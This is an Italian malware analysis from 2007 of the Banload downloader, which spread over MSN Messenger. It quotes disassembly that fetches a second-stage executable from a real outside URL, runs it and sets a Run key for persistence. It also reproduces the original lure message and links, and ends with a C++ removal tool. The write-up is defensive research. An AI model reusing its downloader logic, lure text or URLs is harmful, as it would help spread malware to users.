Zoom Icon

Banload

From UIC

Banload Malware Analysis

Contents


Banload
Author: Pn
Email: Pnmail.png
Website: No Site
Date: 07/02/2007 (dd/mm/yyyy)
Level: Luck and skills are required
Language: Italian Flag Italian.gif
Comments: Evviva IDA



Introduzione

Analisi di un piccolo malware diffusosi attraverso MsnMessanger, tra i miei compagni di scuola, i quali leggendo ciò:
Da uma olhada nas fotos dessa festa muito legal http://www.koolpages.com/fabianagb/ft09082.zip
e lo scaricavano O_o

Questo malware denominato da alcune case antivirus Banload o Generic-Downloader.3, sfrutta, come precedentemente detto, MsnMessanger per diffondersi, ed oltre a ciò, non fa nulla di compromettente, a meno che nn abbiate un account bancario ispanico.


Tools


Essay

Il malware,packato con upx, era possibile scaricarlo da: h**p://www.koolpages.com/mysite2007/ref92302.zip (ora e' stato rimosso), e quindi, bastava fare un semplice upx -d file.exe per unpackarlo.

Il malware inizialmente controlla se è già stato avviato tramite l'uso dei Mutex:

mov     eax, offset dword_412FB8
call    ProcDecriptName
mov     eax, [ebp+var_14]
call    unknown_libname_26 ; Borland Visual Component Library & Packages
push    eax             ; lpName
push    0               ; int
push    0               ; lpMutexAttributes
call    ProcCreateMutex
call    GetLastError
test    eax, eax
jnz     loc_412F81

Se esiste solo un istanza del processo, il processo continua, altrimenti viene chiuso.
ProcDecriptName: questa procedura è usato in tutto il programma, per decriptare le stringhe, quindi la vedrete ogni qual volta occorra lavorare su path di file.

mov     esi, 1
lea     eax, [ebp+var_1C]
call    ProcGetSystemDir
push    [ebp+var_1C]    ; "%systemdir"
push    offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea     edx, [ebp+var_20]
mov     eax, offset dword_412FD4
call    ProcDecriptName
push    [ebp+var_20]    ; "icpldrvx.js"
lea     eax, [ebp+var_18]
mov     edx, 3
call    ProcStrCat
mov     eax, [ebp+var_18]
call    DelFile
lea     eax, [ebp+var_28]
call    ProcGetSystemDir
push    [ebp+var_28]
push    offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea     edx, [ebp+var_2C]
mov     eax, offset dword_412FE8
call    ProcDecriptName
push    [ebp+var_2C]    ; "icpldrvx.exe"
lea     eax, [ebp+var_24]
mov     edx, 3
call    ProcStrCat
mov     eax, [ebp+var_24]
call    ProcGetFileData
test    al, al
jnz     loc_412F81

Con DelFile viene cancellato icpldrvx.js dal systdir, se questo esiste, e con ProcGetFileData viene controllata la presenza di icpldrvx.exe, e se esiste il processo viene terminato. Dopo ciò il malware fa il suo lavoro principale, scaricare il vero malware:

loc_412D8C:
lea     eax, [ebp+var_34]
call    ProcGetSystemDir
push    [ebp+var_34]
push    offset unknown_libname_124 ; Delphi 3 Visual Component Library
lea     edx, [ebp+var_38]
mov     eax, offset dword_412FD4
call    ProcDecriptName
push    [ebp+var_38]
lea     eax, [ebp+var_30]
mov     edx, 3
call    ProcStrCat
mov     eax, [ebp+var_30] ; "C:\WINDOWS\system32\icpldrvx.js"
push    eax
lea     edx, [ebp+var_3C]
mov     eax, ds:dword_41588C
call    ProcDecriptName
mov     eax, [ebp+var_3C] ; "http://www.anajulia10.xpg.com.br/ana/documento.doc"
pop     edx
call    ProcDownloadFile
test    al, al
jz      loc_412F2E

Nella procedura ProcDownloadFile viene usato URLMON.DLL!URLDownloadToFileA per scarica il file, che successivamente verà rinominato .exe. Continuiamo con l'analisi

mov     eax, [ebp+var_68] ; "C:\WINDOWS\system32\icpldrvx.exe"
call    unknown_libname_26 ; Borland Visual Component Library & Packages
push    eax             ; lpCmdLine
call    WinExec
call    ProcSetRunKey
jmp     loc_412F71

Come vedete, il malware appena scaricato viene eseguito e poi viene chiamata ProcSetRunKey, per far eseguire questo programma ad ogni avvio.

Il file icpldrvx.exe, non lo descrivo qui, anche perchè non fa altro che controllare la title-bar di IE, e la presenza di una finestra del Messanger con FindWindow, e poi usare un hook della tastiera, per aspettare il momento giusto(chiamiamolo così) per sendare l'esca, all'utente con cui si sta chattando.

Ora nn resta che scrivere un banale file-remover

class BanlistRemove
{
private:
        static int n;
        TCHAR szProcessName[MAX_PATH];
        TCHAR szModName[MAX_PATH];
        DWORD nProcess[1024];
    DWORD nByteOfProc, nOfProcesses, PID;
    DWORD cbNeeded;
        HANDLE hProcess;
        HMODULE hMod;
    HKEY Key;

public:
        bool CloseProcess();  //ricava la path di un processo
        bool DeleteFile();        //cancellazione del file
        bool DeleteKey();                 //cancellazione della key nel registro
};

bool BanlistRemove::CloseProcess()
{
         if(!EnumProcesses(nProcess,  //riceve la lista dei processi
                      sizeof(nProcess),  //grandezza dell'array di recapito
                      &nByteOfProc))   // dove vengono riportati i byte
                    {return false;}

     nOfProcesses =  nByteOfProc / sizeof(DWORD);

     for (DWORD i = 0; i < nOfProcesses; i++ )
     {
         // Get a handle to the process.
           hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, nProcess[i] );

           // Get the process name.
           if (NULL != hProcess )
           {
                 if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
                 {
GetModuleBaseName(hProcess, hMod,  
szProcessName,sizeof(szProcessName)/sizeof(TCHAR));
                  }
            }

                //Has it find the right process?
                if(!_tcscmp(szProcessName,_T("icpldrvx.exe")))
                {

                        //It close the process
                        if(!TerminateProcess(hProcess,0)) return false;

                        CloseHandle(hProcess);
                        return true;
                }
     
                CloseHandle(hProcess);
   }

          return false;
}


bool BanlistRemove::DeleteFile()
{
        //Delete icpldrvx
      GetSystemDirectory( szModName, MAX_PATH );
         _tcscat(szModName, _T("\\icpldrvx.exe"));
       
        if(!::DeleteFile(szModName))return false;

//Delete ref92302
GetCurrentDirectory(MAX_PATH, szModName);
_tcscat(szModName, _T("\\ref92302.exe"));
       
        if(!::DeleteFile(szModName))return false;


        return true;
}

bool BanlistRemove::DeleteKey()
{
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,_T("Software\\Microsoft\\Windows\\CurrentVersion\\run"),
0,KEY_WRITE,&Key)!= ERROR_SUCCESS)return false;

        if(RegDeleteKey(Key,_T("Msconfig"))!=ERROR_SUCCESS) return false;

        RegCloseKey(Key);

        return true;
}


//How to use this class:
//Attention!! You should use this one, in the folder where there’s ref92302
BanlistRemove VirRemove;
        VirRemove.CloseProcess();
        VirRemove.DeleteFile();
VirRemove.DeleteKey();


Note Finali

Per favore nn cliccate su ogni link che vi compare sul Messanger o in qualsiasi altro posto, se nn siete certi della provenienza

Pn =)


Disclaimer

I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.